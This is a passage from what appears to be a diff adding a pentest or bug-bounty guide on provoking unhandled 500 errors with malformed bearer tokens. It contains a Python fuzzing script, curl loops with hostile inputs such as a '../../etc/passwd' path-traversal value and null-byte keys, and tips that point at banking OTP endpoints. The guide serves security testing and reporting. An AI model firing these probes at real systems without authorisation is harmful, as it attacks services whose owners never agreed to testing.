|
439
|
+
)
|
|
440
|
+
baseline = send_request(url, method, body, headers, baseline_token)
|
|
441
|
+
print(f" Baseline: HTTP {baseline['status']} — {baseline['body'][:80]}")
|
|
442
|
+
|
|
443
|
+
if baseline['status'] == 200:
|
|
444
|
+
print(" ⚠ WARNING: Endpoint accepts the baseline token (possible auth bypass)")
|
|
445
|
+
sys.exit(1)
|
|
446
|
+
if baseline['status'] not in (400, 401, 403):
|
|
447
|
+
print(f" ⚠ Unusual baseline status {baseline['status']} — proceed with caution")
|
|
448
|
+
|
|
449
|
+
# 2. Run malformation battery
|
|
450
|
+
print(f"\n[2/3] Running {len(CORE_BATTERY)}-item malformation battery...")
|
|
451
|
+
differentials = []
|
|
452
|
+
for label, token in CORE_BATTERY:
|
|
453
|
+
r = send_request(url, method, body, headers, token)
|
|
454
|
+
is_diff = (r['status'] != baseline['status'])
|
|
455
|
+
is_500 = (r['status'] == 500)
|
|
456
|
+
marker = "🔴 DIFF" if is_diff else "✓"
|
|
457
|
+
print(f" [{marker}] {label:30s} → HTTP {r['status']}")
|
|
458
|
+
if is_diff:
|
|
459
|
+
differentials.append({"label": label, "token": token, **r})
|
|
460
|
+
|
|
461
|
+
# 3. Confirm differentials
|
|
462
|
+
if not differentials:
|
|
463
|
+
print("\n[3/3] No differentials found — endpoint handles all malformed tokens correctly")
|
|
464
|
+
return None
|
|
465
|
+
|
|
466
|
+
print(f"\n[3/3] Confirming {len(differentials)} differential(s) are deterministic...")
|
|
467
|
+
confirmed = []
|
|
468
|
+
for diff in differentials:
|
|
469
|
+
is_det = check_deterministic(url, method, body, headers, diff['token'], diff['status'])
|
|
470
|
+
if is_det:
|
|
471
|
+
confirmed.append(diff)
|
|
472
|
+
print(f" ✓ CONFIRMED: {diff['label']} → HTTP {diff['status']} (deterministic)")
|
|
473
|
+
|
|
474
|
+
if confirmed:
|
|
475
|
+
print(f"\n{'='*60}")
|
|
476
|
+
print(f"FINDING: {len(confirmed)} unhandled exception(s) confirmed")
|
|
477
|
+
print(f"Baseline: HTTP {baseline['status']}")
|
|
478
|
+
for c in confirmed:
|
|
479
|
+
print(f" {c['label']}: HTTP {c['status']} | Body: {c['body'][:100]}")
|
|
480
|
+
print(f"{'='*60}")
|
|
481
|
+
return {"baseline": baseline, "confirmed": confirmed}
|
|
482
|
+
else:
|
|
483
|
+
print("\n[*] All differentials were non-deterministic (transient) — not a finding")
|
|
484
|
+
return None
|
|
485
|
+
|
|
486
|
+
def send_request(url, method, body, headers, token):
|
|
487
|
+
h = {**headers, "Authorization": f"Bearer {token}",
|
|
488
|
+
"Content-Type": "application/json", "Accept": "application/json"}
|
|
489
|
+
req = urllib.request.Request(
|
|
490
|
+
url, data=body.encode(), headers=h, method=method)
|
|
491
|
+
t0 = time.time()
|
|
492
|
+
try:
|
|
493
|
+
with urllib.request.urlopen(req, timeout=15, context=ctx) as r:
|
|
494
|
+
return {"status": r.status, "body": r.read(300).decode('utf-8','ignore'),
|
|
495
|
+
"elapsed": round(time.time()-t0, 3)}
|
|
496
|
+
except urllib.error.HTTPError as e:
|
|
497
|
+
return {"status": e.code, "body": e.read(300).decode('utf-8','ignore'),
|
|
498
|
+
"elapsed": round(time.time()-t0, 3)}
|
|
499
|
+
except Exception as ex:
|
|
500
|
+
return {"status": 0, "body": str(ex), "elapsed": round(time.time()-t0, 3)}
|
|
501
|
+
|
|
502
|
+
def check_deterministic(url, method, body, headers, token, expected_status, n=3):
|
|
503
|
+
statuses = []
|
|
504
|
+
for _ in range(n):
|
|
505
|
+
r = send_request(url, method, body, headers, token)
|
|
506
|
+
statuses.append(r['status'])
|
|
507
|
+
time.sleep(1.5)
|
|
508
|
+
return all(s == expected_status for s in statuses)
|
|
509
|
+
|
|
510
|
+
if __name__ == "__main__":
|
|
511
|
+
import argparse
|
|
512
|
+
parser = argparse.ArgumentParser()
|
|
513
|
+
parser.add_argument("--url", required=True)
|
|
514
|
+
parser.add_argument("--method", default="POST")
|
|
515
|
+
parser.add_argument("--body", default="{}")
|
|
516
|
+
parser.add_argument("--header", action="append", default=[])
|
|
517
|
+
args = parser.parse_args()
|
|
518
|
+
|
|
519
|
+
extra_headers = {}
|
|
520
|
+
for h in args.header:
|
|
521
|
+
if ":" in h:
|
|
522
|
+
k, v = h.split(":", 1)
|
|
523
|
+
extra_headers[k.strip()] = v.strip()
|
|
524
|
+
|
|
525
|
+
run_test(args.url, args.method, args.body.encode(), extra_headers)
|
|
526
|
+
```
|
|
527
|
+
|
|
528
|
+
```bash
|
|
529
|
+
# Run against target
|
|
530
|
+
python3 tools/differential_exception_tester.py \
|
|
531
|
+
--url "https://TARGET/api/otp/generate" \
|
|
532
|
+
--method POST \
|
|
533
|
+
--body '{}' \
|
|
534
|
+
--header "clientid:app" \
|
|
535
|
+
--header "channelid:web" \
|
|
536
|
+
--header "API-version:1.0" \
|
|
537
|
+
| tee output/differential_exception_results.txt
|
|
538
|
+
```
|
|
539
|
+
|
|
540
|
+
---
|
|
541
|
+
|
|
542
|
+
## STEP 6 — Extend Beyond JWT: Other Input Surfaces
|
|
543
|
+
|
|
544
|
+
The same differential technique applies to any parsed input:
|
|
545
|
+
|
|
546
|
+
```bash
|
|
547
|
+
# Test for unhandled exceptions in other header/body surfaces
|
|
548
|
+
|
|
549
|
+
TARGET_ENDPOINT="https://TARGET/api/endpoint"
|
|
550
|
+
|
|
551
|
+
echo "=== Testing non-Authorization headers ==="
|
|
552
|
+
|
|
553
|
+
# API-Key header malformation
|
|
554
|
+
for val in "null" "" "!!!" "a.b.c" $'key\x00null'; do
|
|
555
|
+
status=$(curl -sk -o /dev/null -w "%{http_code}" \
|
|
556
|
+
-X POST "$TARGET_ENDPOINT" \
|
|
557
|
+
-H "X-API-Key: $val" \
|
|
558
|
+
-H "Content-Type: application/json" \
|
|
559
|
+
-d '{}')
|
|
560
|
+
echo "[$status] X-API-Key: $val"
|
|
561
|
+
done
|
|
562
|
+
|
|
563
|
+
# JSON body type confusion (send wrong types for expected fields)
|
|
564
|
+
echo ""
|
|
565
|
+
echo "=== Testing JSON body type confusion ==="
|
|
566
|
+
for body in \
|
|
567
|
+
'null' \
|
|
568
|
+
'"string_not_object"' \
|
|
569
|
+
'[]' \
|
|
570
|
+
'{"id": null}' \
|
|
571
|
+
'{"id": []}' \
|
|
572
|
+
'{"id": {"nested": true}}' \
|
|
573
|
+
'{"id": 9999999999999999999}' \
|
|
574
|
+
'{"id": "../../etc/passwd"}' \
|
|
575
|
+
'{'; do
|
|
576
|
+
status=$(curl -sk -o /dev/null -w "%{http_code}" \
|
|
577
|
+
-X POST "$TARGET_ENDPOINT" \
|
|
578
|
+
-H "Authorization: Bearer test.test.test" \
|
|
579
|
+
-H "Content-Type: application/json" \
|
|
580
|
+
-d "$body")
|
|
581
|
+
echo "[$status] Body: $body"
|
|
582
|
+
done
|
|
583
|
+
|
|
584
|
+
# Content-Type mismatch (server expects JSON but receives other types)
|
|
585
|
+
echo ""
|
|
586
|
+
echo "=== Testing Content-Type mismatch ==="
|
|
587
|
+
for ct in \
|
|
588
|
+
"text/xml" \
|
|
589
|
+
"application/xml" \
|
|
590
|
+
"multipart/form-data" \
|
|
591
|
+
"text/plain" \
|
|
592
|
+
"application/x-www-form-urlencoded" \
|
|
593
|
+
"application/octet-stream"; do
|
|
594
|
+
status=$(curl -sk -o /dev/null -w "%{http_code}" \
|
|
595
|
+
-X POST "$TARGET_ENDPOINT" \
|
|
596
|
+
-H "Authorization: Bearer a.b.c" \
|
|
597
|
+
-H "Content-Type: $ct" \
|
|
598
|
+
-d '{"test":1}')
|
|
599
|
+
echo "[$status] Content-Type: $ct"
|
|
600
|
+
done
|
|
601
|
+
```
|
|
602
|
+
|
|
603
|
+
---
|
|
604
|
+
|
|
605
|
+
## STEP 7 — Timing Differential Analysis
|
|
606
|
+
|
|
607
|
+
Sometimes 500 responses are timing-different from 403 responses, revealing the code path divergence:
|
|
608
|
+
|
|
609
|
+
```python
|
|
610
|
+
# tools/timing_differential.py
|
|
611
|
+
"""
|
|
612
|
+
Measure response time differential between:
|
|
613
|
+
- Normal invalid token (fast rejection)
|
|
614
|
+
- Malformed token that causes 500 (may involve stack unwinding, logging)
|
|
615
|
+
|
|
616
|
+
Significant timing difference indicates different code paths.
|
|
617
|
+
"""
|
|
618
|
+
import statistics
|
|
619
|
+
|
|
620
|
+
def timing_profile(endpoint, token_variants, n=5, extra_headers=None):
|
|
621
|
+
timings = {}
|
|
622
|
+
for label, token in token_variants:
|
|
623
|
+
times = []
|
|
624
|
+
for _ in range(n):
|
|
625
|
+
r = send_request(endpoint, "POST", b"{}", extra_headers or {}, token)
|
|
626
|
+
times.append(r['elapsed'])
|
|
627
|
+
time.sleep(0.5)
|
|
628
|
+
timings[label] = {
|
|
629
|
+
"status": r['status'],
|
|
630
|
+
"mean": round(statistics.mean(times), 3),
|
|
631
|
+
"stdev": round(statistics.stdev(times) if len(times) > 1 else 0, 3),
|
|
632
|
+
"times": times
|
|
633
|
+
}
|
|
634
|
+
print(f" {label:30s}: {r['status']} | mean={timings[label]['mean']}s ±{timings[label]['stdev']}s")
|
|
635
|
+
|
|
636
|
+
# Compare timings
|
|
637
|
+
baseline_time = timings.get("baseline_jwt", {}).get("mean", 0)
|
|
638
|
+
for label, data in timings.items():
|
|
639
|
+
if label != "baseline_jwt" and baseline_time > 0:
|
|
640
|
+
ratio = data['mean'] / baseline_time
|
|
641
|
+
if ratio > 2.0:
|
|
642
|
+
print(f" ⚠ TIMING ANOMALY: {label} is {ratio:.1f}x slower than baseline")
|
|
643
|
+
print(f" This may indicate expensive exception handling (stack trace logging, etc.)")
|
|
644
|
+
|
|
645
|
+
return timings
|
|
646
|
+
```
|
|
647
|
+
|
|
648
|
+
---
|
|
649
|
+
|
|
650
|
+
## Differential Analysis Matrix — What Each 500 Indicates
|
|
651
|
+
|
|
652
|
+
| Malformed Input | Likely Code Path | Missing Handler | Probable Root Cause |
|
|
653
|
+
|----------------|-----------------|-----------------|---------------------|
|
|
654
|
+
| `null` | Token presence check | Null check before parsing | `token.split(".")` without null guard |
|
|
655
|
+
| `aaa.bbb` (2 segments) | Segment count validation | Array length check | `parts[2]` without index check |
|
|
656
|
+
| `aaa.bbb.ccc.ddd` (4 seg) | Same | Same | Same |
|
|
657
|
+
| Non-JSON after b64 decode | JSON parse | `try/catch` around `JSON.parse()` | Exception propagates from parser |
|
|
658
|
+
| `{"alg":""}` empty alg | Algorithm selection | Algorithm whitelist check | `switch(alg)` falls to default |
|
|
659
|
+
| `{"alg":"UNKNOWN"}` | Same | Same | Unsupported algorithm exception |
|
|
660
|
+
| `alg:none` + 500 | Special case handling | `none` algorithm handling | Exception in no-op signature path |
|
|
661
|
+
| Size boundary (100KB) | Header size limit | Expected → 431/400 normal | If 500: size limit handler missing |
|
|
662
|
+
|
|
663
|
+
---
|
|
664
|
+
|
|
665
|
+
## Impact Assessment Framework
|
|
666
|
+
|
|
667
|
+
```
|
|
668
|
+
Severity calculation for this vulnerability class:
|
|
669
|
+
|
|
670
|
+
BASE: MEDIUM (no authentication bypass, no data exposure)
|
|
671
|
+
|
|
672
|
+
INCREASE if:
|
|
673
|
+
+ Endpoint is pre-authentication (no token required to trigger) → +1
|
|
674
|
+
+ Endpoint is security-critical (OTP, login, password reset, MFA) → +1
|
|
675
|
+
+ 500 response contains internal error details / stack trace → +1
|
|
676
|
+
+ No rate limiting on 500-triggering requests (availability risk) → +1
|
|
677
|
+
+ Multiple malformed patterns trigger 500 (wide exploit surface) → +0.5
|
|
678
|
+
+ Financial/banking application context → +1
|
|
679
|
+
|
|
680
|
+
DECREASE if:
|
|
681
|
+
- Error response is generic (no information leakage) → -0.5
|
|
682
|
+
- Rate limiting or WAF present → -0.5
|
|
683
|
+
- Application has compensating controls (circuit breaker, etc.) → -0.5
|
|
684
|
+
|
|
685
|
+
FINAL RANGE: LOW-MEDIUM (3.1) to HIGH (7.5)
|
|
686
|
+
DBS OTP example: MEDIUM 5.3 (pre-auth + security-critical + no rate limit + financial)
|
|
687
|
+
```
|
|
688
|
+
|
|
689
|
+
---
|
|
690
|
+
|
|
691
|
+
## Ruling Out False Positives
|
|
692
|
+
|
|
693
|
+
Before reporting, verify ALL of the following:
|
|
694
|
+
|
|
695
|
+
1. **Baseline is genuinely 403/401** — not 200 (which would be auth bypass, different finding) and not 500 already
|
|
696
|
+
2. **Differential is deterministic** — same token returns same status on 3+ independent attempts
|
|
697
|
+
3. **500 is not from WAF/proxy** — check response body; WAF 500s have different response formats (Cloudflare, AWS WAF patterns)
|
|
698
|
+
4. **Not a generic "server restart" 500** — time multiple requests over 5+ minutes to confirm consistency
|
|
699
|
+
5. **Not intentional** — some endpoints return 500 for unrecognized request formats by design (rarely, but verify)
|
|
700
|
+
|
|
701
|
+
```bash
|
|
702
|
+
# Quick false-positive check: is this a WAF/Cloudflare 500 or a real 500?
|
|
703
|
+
curl -sk "https://TARGET/endpoint" \
|
|
704
|
+
-X POST \
|
|
705
|
+
-H "Authorization: Bearer null" \
|
|
706
|
+
-H "Content-Type: application/json" \
|
|
707
|
+
-d '{}' -v 2>&1 | grep -E "CF-RAY|x-amzn|x-cache|server:|cf-request"
|
|
708
|
+
|
|
709
|
+
# If response contains CF-RAY or x-amzn-RequestId → might be CDN/WAF 500, not application 500
|
|
710
|
+
# Check the response body format:
|
|
711
|
+
# Cloudflare 500: "Error 500" with Cloudflare branding
|
|
712
|
+
# Application 500: {"code":500,"reason":"Internal Server Error"} (application JSON)
|
|
713
|
+
```
|
|
714
|
+
|
|
715
|
+
---
|
|
716
|
+
|
|
717
|
+
## Response Format for This Finding
|
|
718
|
+
|
|
719
|
+
**Title:** Unhandled Exception on [Endpoint Name] via Malformed Bearer Token
|
|
720
|
+
|
|
721
|
+
**Minimum required evidence:**
|
|
722
|
+
1. Baseline request + response (well-formed-invalid → 403)
|
|
723
|
+
2. Malformed token request + response (→ 500) — at least 2 different malformed variants
|
|
724
|
+
3. Repetition proof (same result on 3 attempts each)
|
|
725
|
+
4. Note: no authentication bypass was achieved, no data was exposed
|
|
726
|
+
|
|
727
|
+
**CVSS note:** Score this as MEDIUM (5.x) for pre-auth security endpoints. Key factors:
|
|
728
|
+
- `AV:N/AC:L/PR:N/UI:N` (network, no complexity, no auth, no user interaction)
|
|
729
|
+
- `S:U` (scope unchanged — not a data breach)
|
|
730
|
+
- `C:N/I:N/A:L` (no confidentiality/integrity impact, low availability impact)
|
|
731
|
+
|
|
732
|
+
---
|
|
733
|
+
|
|
734
|
+
## Pro Tips
|
|
735
|
+
|
|
736
|
+
1. **The critical insight** — a 403 and a 500 on the same endpoint with different token shapes is NOT a coincidence. It proves two different code paths exist: one with a handler (→403), one without (→500).
|
|
737
|
+
2. **Financial and banking apps are highest value** — OTP generation, PIN reset, and session endpoints at banks are security-critical, making this finding more impactful than on a generic API.
|
|
738
|
+
3. **Start with `null` and `aaa.bbb.ccc`** — these are the most reliably triggering variants across all JWT libraries. Test these two first before the full battery.
|
|
739
|
+
4. **Custom headers matter** — many banking apps require additional headers (`clientid`, `channelid`, `actionId`) without which the request returns 404. Get these from browser traffic analysis before testing.
|
|
740
|
+
5. **Rate limiting asymmetry** — some implementations apply rate limiting to 401/403 paths but NOT to 500 paths (since 500 is "unexpected" and may not hit the rate-limit middleware). This can be noted as an additional risk.
|
|
741
|
+
6. **The timing differential is bonus evidence** — if the 500 takes 3x longer than the 403 baseline, mention it in the report. It suggests expensive exception handling (stack trace serialization, full log writes).
|
|
742
|
+
7. **This is a robustness finding, not an auth bypass** — frame it as "server does not fail closed for all input shapes" rather than "authentication bypassed." The security argument is correctness under adversarial input.
|